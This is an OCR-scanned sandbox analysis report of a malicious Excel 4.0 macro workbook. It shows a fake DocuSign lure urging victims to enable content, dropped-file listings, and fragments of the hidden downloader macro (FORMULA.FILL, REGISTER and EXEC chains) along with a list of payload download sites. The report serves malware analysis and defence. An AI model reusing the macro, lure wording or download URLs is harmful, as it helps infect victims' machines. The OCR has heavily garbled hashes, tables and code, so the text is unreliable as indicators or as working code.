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Analysis Report Calculation-1776198036-01262021.xIsm
Overview

General Information Detection Signatures Classification

Sample Calculation-1776198036-
Name: 01262021.xIsm MALICIOUS

Analysis ID: 344672

Office document tries to convince Vvi...

Document exploit detected (UrlDown...

MD5: : -
28ff4fc549018f6... Found Excel 4.0 Macro with suspicio...
SHA1L:
aefcf3ad1685d3b.. Excel doctiments|contains aniembe:..
SHA256: fh75ce8dac7dbc3.

Most interesting Screenshot:

Hidden Macro 4.0

Score: 56
Range: 0-100
§ . Whitelisted: false
= R AL . | )
Confidence: 100%
Startup

= System is w7x64

. EXCEL.EXE (PID: 1532 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

@ Compliance
@ Software Vulnerabilities
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@ Networking
@ System Summary
@ Hooking and other Techniques for Hiding and Protection

g

Click to jump to signature section

Compliance:

Uses new MSVCR DlIs

Software Vulnerabilities: rv-l
System Summary: | |

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Mitre Att&ck Matrix

Remote
Initial Privilege  Defense Credential Lateral Command Network Service
Access Execution Persistence Escalation Evasion Access Discovery Movement Collection Exfiltration and Control  Effects Effects Im
Valid Scripting Path Path Masquerading oS File and Remote Data from  Exfiltration Ingress Tool Eavesdrop on  Remotely M
Accounts Interception  Interception Credential Directory Services Local Over Other Transfer Insecure Track Device Sy
Dumping  Discovery System Network Network Without Pe
Medium Communication Authorization
Default  Exploitation for Boot or Boot or Disable or Modify LSASS System Remote Data from  Exfiltration Junk Data Exploit SS7 to  Remotely De
Accounts Client Logon Logon Tools Memory  Information Desktop Removable Over Redirect Phone Wipe Data Lo
Execution Initialization  Initialization Discovery Protocol Media Bluetooth Calls/SMS Without
Scripts Scripts Authorization
Domain At (Linux) Logon Script Logon Scripting Security  Query SMB/Windows Data from Automated Steganography Exploit SS7to Obtain De
Accounts (Windows)  Script Account  Registry Admin Shares Network Exfiltration Track Device  Device De
(Windows) Manager Shared Location Cloud De
Drive Backups

Behavior Graph
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Hide Legend

Legend
Behavior Graph D Process
ID: 344672 ] signature
Sample: Calculation-1776198036-0126... . Created File
Startdate: 26/01/2021 Il onsieinfo
Architecture:  WINDOWS ﬂ Is Dropped
Score: 56 )
A% Is Windows Process
EE:' Number of created Registry Values

Number of created Files

5 B

Visual Basic

g5
2z
oz

)

started Delphi

i
i
=

Java

.Net C# or VB.NET
C, C++ or other language
Is malicious

E EXCEL.EXE ﬂ

Internet

&
Y
C
o
Q

e

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Home Insert Page Layout Formulas

Jf - Calibri -1

53 Copy ~

# Format Painter
Clipboard

B I U-~

Calculation-1776198036-01262021 - Microsoft Excel - Calculation-1776198036-01262021

Data  Review  View
=@ = o
== ¥ S Wrap Text General - ﬂ ﬁi L
T | Eee s Sl o
EEMergeacenter | § v % o | %@ 28| Conditionsl Format Cel
Formatting - as Table - Styles -
Alignment ] Humber Styles

== & &

Insert Delete Format

Cells

¥ AutoSum

@] Fin -
&2 Clear =

o B8
2@ o @ =

Sort & Find &
Filter~ Select~

Editing

Docufv'u'gnw

THIS DOCUMENT IS ENCRYPTED BY
DOCUSIGN® PROTECT SERVICE

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

E]h“(his document was downloaded from Email, please click Enable Editing
from the yellow bar above

EOnce You have Enable Editing, please click Enable Content

from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT?

®youare using i0S or Android, please use Desktop PC

] . . . . i ’
You are trying to view this document using Online Viewer

—

W 4 ¥ M| DocuSign
Ready |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches
Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches
Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs
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Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

Copyright null 2021

31.0.0 Emerald

344672

26.01.2021

21:51:04

CloudBasic

Oh 4m 18s

false

light
Calculation-1776198036-01262021.xIsm
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

4
0
0
0
0

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal56.expl.evad.winXLSM@1/9@0/0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
Xlsm

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

.

e o o o

Show All
e Exclude process from analysis (whitelisted):
dllhost.exe, WerFault.exe, svchost.exe

Page 8 of 27



IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created | dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\93E893EC.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 8301

Entropy (8bit): 7.970711494690041

Encrypted: false

SSDEEP: 192:BzZNWXTPmjktA8BddiGGWjNHOQRuUd4JTTOFPY4:B8aoVTOQNuzWKPh

MD5: D8574C9CC4123EF67C8B600850BES2EE

SHA1L: 5547AC473B3523BA2410E04B75E37B1944EEOCCC

SHA-256: ADD8156BAA01E6AIDE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B

SHA-512: 20D29AF016ED2115C210F4F21C65195F026 AAEAL4AALBE36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBA(
F

Malicious: false

Reputation: moderate, very likely benign file

Preview:

e ADATXM.\...}\6"Sp...g..9Ks..r..=r.U...Y...S.2..Q."C...
m..g.h.SRR.\.p....'"N...EEE...X9......c.&M...].n.g4..E..g..w..{..].;w.l.y.m\.~;].3{~.qV.k._...2.wW/$Gll|..2. m,,,.-[....
n.3.M..g....... 6....pP"#F..P/S.L..W." 0.r....5H......111t....]9..3..." . >. . {.t~/F.b..h.P.]z..).....0.4n.F..e..0M....#"h K. K.....g.
Lftis 5.C4.+Wly...88..2.,Y. AL8{.@VN.6....Kbch.=zt...7+T...v.z....P........ VVV..."t.N......$..Jag.v.U...P[(_.1?.9.4i.G.$U..D
cenb2.%.Zc_Gal&L L Ln) 7. WomL#8k.. ) UL LG .q.F.e> s ...g L du L (N ke omLLL=).

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\9FCB8AFD.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 557

Entropy (8bit): 7.343009301479381

Encrypted: false

SSDEEP: 12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNIJTNSBOgNMQCVGEVfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20gNM1dvfSviNd
MDS5: A516B6CB784827C6BDES8BCID341C1BD

SHAL: 9D602E7248E06FF639E6437A0A16EATA4FIE6CT3

SHA-256: EF8F7EDB6BAOB5SACEC64543A0AF1B133539FFD439F8324634C3F970112997074

SHA-512: C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7FI6D55B0CIB02F6BIBFAF4E915191683126183E49E668B6049048D35
Malicious: false

Reputation: moderate, very likely benign file

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C96BDCDA.png
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Copyright null 2021 Page 9 of 27



C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C96BDCDA.png

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

848

7.595467031611744

false

24:NLJZbn0jL5Q3H/hbqgzej+0C3Yi6yyuq53q:Jljm3pQCLWYi67Ic

02DB1068B56D3FD907241C2F3240F849

58EC338C879DDBDF02265CBEFA9A2FB08C569D20

D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387BOEA3773D908DD25F
9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F86421206467!
false

moderate, very likely benign file

LE.f2.d(..v.~.P.+.pik+;.. . xEU.g....._xfw...+...(..pQ.(..(\U.l.).@..? Qo lALLELO9. 1 &..0. 1@
Sxhe8l~ A+ mEm Wi {.+>P Rh.+.br$. g (e S AL MZm)LL 9L ELLIU[S DX 7<....Wd....... p..C.... Myl:....c.A..SL.mG;j,....... Lho$ yD./l.a...;j v .RQ

C:\Users\luser\AppData\Local\Temp\86EE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

26318

7.560418528390429

false
384:1nnowFiBP+nr061XG2i5SV8m2ylS8aoVTOQNuzWKPqGnNWzJcAEyW:1nnIEBP+rQGx5S6f6IW+u7gkAJDEZ
6A58EF9C257F5897CB017F04C5F5A34A

FF9709F7BAA37896778E6996D3BBDB99FF81F280
E9CFB75B2B2765F16C62FA07F315566CAFAOAC41D4CAC485C61733E1B1DAF8FD

21E674183AAC54CA1DOEE943E89BDBBFIAA3FA1C37BA6163DEBD32ACA517C2871DB3C0OD3CBIE2EE8840BC3BC2B593242DD352E5B1BAOF276FEAB9I68496FA2
F3F

false

low

.U.n.0...2.......C..I7.&..an.0.....
.m..WDO0.W2!s...b{......C.y;.

...#.2.Bj.Fq8..XS=CD.]......l..Z....*L.)a..m....... 6.VT.e}d.;.({....... G+...L. . Y...1>@J3d..?..\
z..9..X.F.iJb..2..".hNh....S.D™n....'9.~.I...Qt.*d...z.£.3..0v.m7... {...}..qG8l.k...u .I..

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Calculation-1776198036-01262021.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Jan 27 04:51:44 2021,
atime=Wed Jan 27 04:51:44 2021, length=26318, window=hide

dropped

2248

4.502923945872648

false
24:80/XTd6jFyRfeRCCDV3qFMgdM7dD20/XTd6jFyRfeRCCDv3qFMqdM7dV:80/XTOjFyf+Cx1Qh20/XTOjFyf+Cx1Q/
13CFB41B6EEC72E3C743E6796F94359D

4F89C1840FEA3FEB0CE90A6201D9F63FC8CC1938
D23FB9E78F0455E0C2CC58AA3772DD939AACA91B69IBA02ACCO3D27630E2CDOF2

ADB833E3F7CB9BD652E10D6BFOB1648D9A99EF2B346FA65D8D4676E245ECC5AACCD6BDC0OB6B16B1E693150B7FF9E4760ACEQ9C31B2C33E2F3395EDFOAGBS8F
CCB

false

low

L. {.H.1~p...L6~p....f ..t1....QK.X..Users.". 6....Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3.. .Quy.user.8......QKX.Qy*..&=...U............Al .....Q.y..Desktop.d......QK.X.Q.y*..._; .D.esskto.p..@.s.h.ell3.2.dll,.-.2.
1.7.6.9......2..9..;Rt. .CALCUL~1.XLS..v....... Qy.Qy*..8....ccceueene.Cialculatioon.-.1.7.7.6.1.9.8.0.3.6.-.0.1.2.6.2.0.2.1..X.1.S.M...oorerriiiinnn SB[ 2J..
...Ci\Users\.#......ccccoeenne \618321\Users.user\Desktop\Calculation-1776198036-01262021.xIsm.;....\....\....\....\....\.D.e.s.k.t.o.p.\.C.a.l.c.u.l.a.t.i.0.n.-.1.7.7.6.1.9.8.0.3.6.-
.0.1.2.6.2.0.2.1..xL.s.m.cccci LB A 1SPS.XF.L8C....&m.m............~...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:

Size (bytes):

Entropy (8bit):
Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Jan 27
04:51:44 2021, atime=Wed Jan 27 04:51:44 2021, length=12288, window=hide

dropped
867
4.4712558982303126
Page 10 of 27



C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

false
12:85QlvmCLgXg/XAICPCHaxXtB8XzB/PAIPoWvX+Wnicvb+PbDtZ3YiIMMEpxRIjKh1:85U/XTd6jRAAeYeqDv3qFMgrNru/
CD9B5CD29AE6DDA363BAA1DC73718917

5A2FA765COEBIE77E249B0OEB377ECE3COEA3ALEB
38DD8B92AFDDAD63A8A8662E5BA7085A4A3D52B749417B372A2B7F10041F235F

E84ABF8712762A40E22C53548BE607634DBAD7A5692E32DD7FBB2BE68CE4CF68B1D1C1A811717C0OBOFBAG312C0083048F90791E6D364918FE3EF78ACCI15E9ET
9

false

low

Lo | SRR 7G.H.1~p..H.1~p..0.cs i...P.O. 0. 400.../C\.coo) t1.....QK.X. Users. ......QK.X* ..o 6....Us.ers..@.s.hell3.2.d.lLl,
-21.8.13...L.1....Q.y..user.8...... QKXQy* &=... .Alb.us....z.1.....;Rw...Desktop.d...... QK. X;Rw.*... : Desktop .@.s.hell3.2..dllL,.-.2.
1.7.6.9 i JEIR T ...C:\Users\..# ..\618321\Users.user\Desktop......\....\....\....\...

8C...&mm..... ..S.-.1.- 5 21 966771315 .3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6...

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

148

4.7787367449503755

false
3:0yBVomxWtMK/86XUIDp6Il+gHK/86XUIDp6ImxWtMK/86XUIDp6Iv:djeMA8YUTHA8YUzMA8YU1
AD1457C05C1DFE731F14882D8A7EC5DC
BOA9D3A272898CB6858ED56F457D2C13D699DF8C
4FDB44EDC5AFFDDEAE715154B0967AE23150E5FAF7441E8B185E90072E87A22F

62ACEE63757B86115E528C0382F9D5AB30FAA2036B5C60EEF471D40A384214B35F5A8DF3E8657BDC65712C6E3806510EF5D46616DB2BE6D230EEE4DD80DDDO
6

false

low

Desktop.LNK=0..[misc]..Calculation-1776198036-01262021.LNK=0..Calculation-1776198036-01262021.LNK=0..[misc]..Calculation-1776198036-01262021.LNK=0..

C:\Users\user\Desktop\47EE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

26318

7.560418528390429

false
384:1nnowFiBP+nr061XG2i55V8m2yIS8aoVTOQNuzWKPgGnWzJcAEyW:1nnlEBP+rQGx5S6f61W+u7qkAJDEZ
6A58EF9C257F5897CB017F04C5F5A34A

FF9709F7BAA37896778E6996D3BBDBI9FF81F280
E9CFB75B2B2765F16C62FA07F315566CAFAOAC41D4CAC485C61733E1B1DAF8FD

21E674183AAC54CA1DOEE943E89BDBBFIAA3FA1C37BA6163DEBD32ACA517C2871DB3C0OD3CBIE2E8840BC3BC2B593242DD352E5B1BAOF276FEAB9I68496FA2
F3F

false

low

.U.n.0...27.......C...17.&..an.0. #.2.Bj.Fq8..XS=CD.]......l..Z..... *L)a..m....... 6.VT.e}d.;.({...o G+...l.~9}...)c....l.wl...z]..h) Y..1>@J3d..?..\
.m..WD0O.W2!s..b{.....Cly;. ...z...9...X.F.|Jb..2..'..hNh....S.D’\n....'9.~.l .Qt*d...z.£.3..0v.m7....... gL[.xf.;.)."DP..6rwv..cO.PQ.d.|[x.X......F" {...}...qG8l.k..u .l...

{g..cE....1..

(.

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

Copyright null 2021

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/IFFDIW2fj/FFDIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
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SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06ADAAB3FAFOF021AD7C8D30600AA8168348BDOFAS
0

Malicious: true

Reputation: moderate, very likely benign file

Preview:
user LALDLUS user JAlbuso oo

Static File Info

General

File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Calculation-1776198036-01262021.xIsm"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Macro 4.0 Code

ede2aa8aadbcbcac

OpenXML
1

Microsoft Excel 2007+
7.5624677136859715

e Excel Microsoft Office Open XML Format document
(40004/1) 83.33%
e ZIP compressed archive (8000/1) 16.67%

Calculation-1776198036-01262021.xIsm

26370

f28ff4fc549018f6eb3e27c3b9cd2473
aefcf3ad1685d3b55d027554ea81laddb471a4d8f

fb75ce8dac7dbc3902418d23h9bf1f4d6be4b7a1f318620
€57a81912c6987989

0b8969e4ed4hbf4328385958a9a73c855b4e0215e6bcdd2
a655df6e8143f40200ad5790d2a874ba8d74c3bbc95ecef
89e87600c3d538d48110e0cd0a97563d94f

384:AlfowL2aGcarN6IftXs5SV8m2ylITQ8aoVTOQNuzW
KP8WxAJkhOIfusU5:AlfleaGcEHY5S6f6 TIW+u7DgJkho
WsU5

PK.

.[Content_Types].xml ...(..

s =B154(),"=FORMULA.FILL(KOTI'U54&kOTIIU55&KOTIIU56&KOTIIU57&KOTIIU58&KOTIIUS9,BB53)","=FORMULA.FILL(KOTI'AC56,HI18807)","=EXEC("'r""&KOTI!AC60&""
"&KOTI!AC59&™",D""&kOTIIAC61)",=B156(),=C156(),=HALT()"'=REGISTER(HI18807,AN32726,1K16309,DI7875,,1,9)","=FORMULA.FILL(kOTI!'V53&kOTI!'V54&kOTI!V55&kOTI!'V56&kOTI!V57&kOTIV58
&kOTIV59&KOTIVE0&KOTIVE61&kOTIV62&KOTIIVE3&KOTIIVE64&KOTIIVE5&KOTIIVE6&KOTIIV67&KOTIVE8&KOTIIV69&KOTIIV70,HZ48004)","=FORMULA.FILL(kOTI'AC57,AN32726)","=Vuolasd(GT17
028,AQ4875,1)",=B158(),=C158(),,"=FORMULA.FILL(kOTI'U62&KkOTI!U63&kOTIIUB4&KOTIU65&KOTIIUE6&KOTIIU67,HI18898)","=FORMULA.FILL(""BCCJ"",1K16309)",,=B160(),=C160(),,"=FORMULA.
FILL(kOTIIAC58&B169,GT17028)","=FORMULA.FILL("'Niokaser"",1K4106)","=REGISTER(BB53,HZ48004,H118898,1K4106,,1,9)",=B162(),=C162(),"=Niokaser(0,GT17028,AQ4875,0,0)","=FORMULA.FILL

Copyright null 2021
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(kOTIIAC59,AQ4875)","=FORMULA.FILL(""Vuolasd™,DI7875)",,"=FORMULA.FILL(kOTI!AC60,AS41071)",=A161(),=GOTO(D154),=B165(),,,"=FORMULA.FILL(kOTI!AC61,HG9961)",,,=C154(),,,.,,,,,"=IND
EX(B175:B181,RANDBETWEEN(1,8))&B170",,,"=RANDBETWEEN(2222222,8888888)&"".Jpg"",,.,.1,.1,..».,Tefillexpress.in/bbrwhodjdi/,,,www. hitkiss.com/ecnamkijuudz/,, test.limulustest.ru/invzovg/,,,granad
aafuegolento.com/hkjwjolm/,,,gulabengineeringworks.in.net/bbndonbik/,, infire-krby.sk/zzpbvheke/,, kanaimukherjee.com/wfratccnjna/,,

Network Behavior

No network behavior found

Code Manipulations

Statistics

System Behavior

Analysis Process: EXCEL.EXE PID: 1532 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created
File Path Access
C:\Users\user\AppData\Local\Temp\E5CD.tmp read attributes |
synchronize |
generic read
C:\Users\user\AppData\Local\Temp\86EE0000 read attributes |

synchronize |
generic read |
generic write

C:\Users\user\Desktop\~$Calculation-1776198036-01262021.xIsm read attributes |
delete | syn
chronize |
generic read |
generic write

C:\Users\user\Desktop\47EE0000 read attributes |
synchronize |
generic read |
generic write

C:\Users\user\AppData\Local\Temp\6134.tmp read attributes |
synchronize |
generic read

Copyright null 2021

21:51:42

26/01/2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
false

‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
0x13f4f0000

27641504 bytes
5FBOAOF93382ECD19F5F499A5CAAS9F0

true

true

C, C++ or other language

high

Source

Attributes Options Completion Count Address Symbol

device

device

device

device

device

synchronous io  success or wait 1 13F83EC83 GetTempFileNameW
non alert | non
directory file

synchronous io  success or wait 1 7FEEABCY9ACO unknown
non alert | non

directory file |

open no recall

synchronous io  success or wait 1 7FEEABCY9ACO unknown
non alert | non

directory file |

delete on close

| open no recall

synchronous io  success or wait 1 7FEEABCY9ACO unknown
non alert | non

directory file |

open no recall

synchronous io  success or wait 1 13F83EC83 GetTempFileNameW
non alert | non
directory file
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File Deleted

File Path

C:\Users\user\AppData\Local\Temp\E5CD.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image004.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image009.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~

File Moved

Old File Path

C:\Users\user\AppData\Local\Temp\86EE0000
C:\Users\user\Desktop\47EE0000
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image003.png
C:\Users\user\AppData\Local\Temp\imgs_files\image004.png
C:\Users\user\AppData\Local\Temp\imgs_files\image009.png
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image010.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image011.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image012.pn_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path

C:\Users\user\Desktop\~$Calculation-1776198036-
01262021.xIsm

C:\Users\user\Desktop\~$Calculation-1776198036-
01262021.xIsm

Copyright null 2021

Offset

unknown 55

unknown 110

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csvye
C:\Users\user\Desktop\Calculation-1776198036-01262021.xIsm
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image004.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image009.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image010.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image011.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image012.pngss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Length Value Ascii

0541 6¢ 62 7573 20 .user
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

VAlbuso oo

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

. success or wait

Count

P PR R R R R R R R

Source
Address

13FAAB818

7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO

Source

Count Address

P PR R R R R R R R R R R R R P

7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO

Source

Count Address

1

1

13F73F526

13F73F591

Symbol
DeleteFileW
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol
WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Temp\86EE0000

C:\Users\user\AppData\Local\Temp\86EE0000
C:\Users\user\AppData\Local\Temp\86EE0000

Copyright null 2021

Offset
569

1017

Length Value

448

2
569

¢4 55 c9 6e db 30 10
bd 17 e8 3f 08 bc 16
12 9d 1c 8a a2 b0 9c
43 9a 1c d3 00 49 3f
80 26 c7 12 61 6e €0
3089 fd 7 1d d2 8a
da 1a 8e 15 23 06 7a
d1 42 6ade 46 71 38
bf da 58 53 3d 43 44
ed 5d cb 2e 9a 19 ab
c0 49 af b4 eb 5a f6
eb f1 b6 fe c6 2a 4c
€229 61 bc 83 96 6d
01d9 d5 e2f3 a7 f9
€3 36 00 56 54 ed b0
65 7d 4ael3be7 28
7b b0 02 1b 1f c0 d1
cc ca 47 2b 12 bd c6
8e 0721 d7a2037e
39 9b 7d e5 d2 bb 04
2e d5 29 63 b0 c5 fc
07 ac ¢4 93 49 d5 cd
86 86 77 4a 96 da bl
ea 7a f7 5d a6 6a 99
08 c1 6829 12 09 e5
cf 4e ed 91 d4 7e b5
d2 12 94 97 4f 96 a0
1b Oc 11 84 c2 1e 20
59 d3 84 a8 89 31 3e
40 4a 64 Oc 19 3f c8
19 5¢ b7 ¢7 a9 6d d6
9c ¢7 0f 57 44 30 b8
57322173 c8alal
ca 62 05 7b 1d fO Ob
85 f5 06 43 9e 79 3b
87 al ee 27 2d 60 d4
Oaaa7b

03 00

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
88 8f be 01 c2 01 00

00 07 07 0000 1300 ..

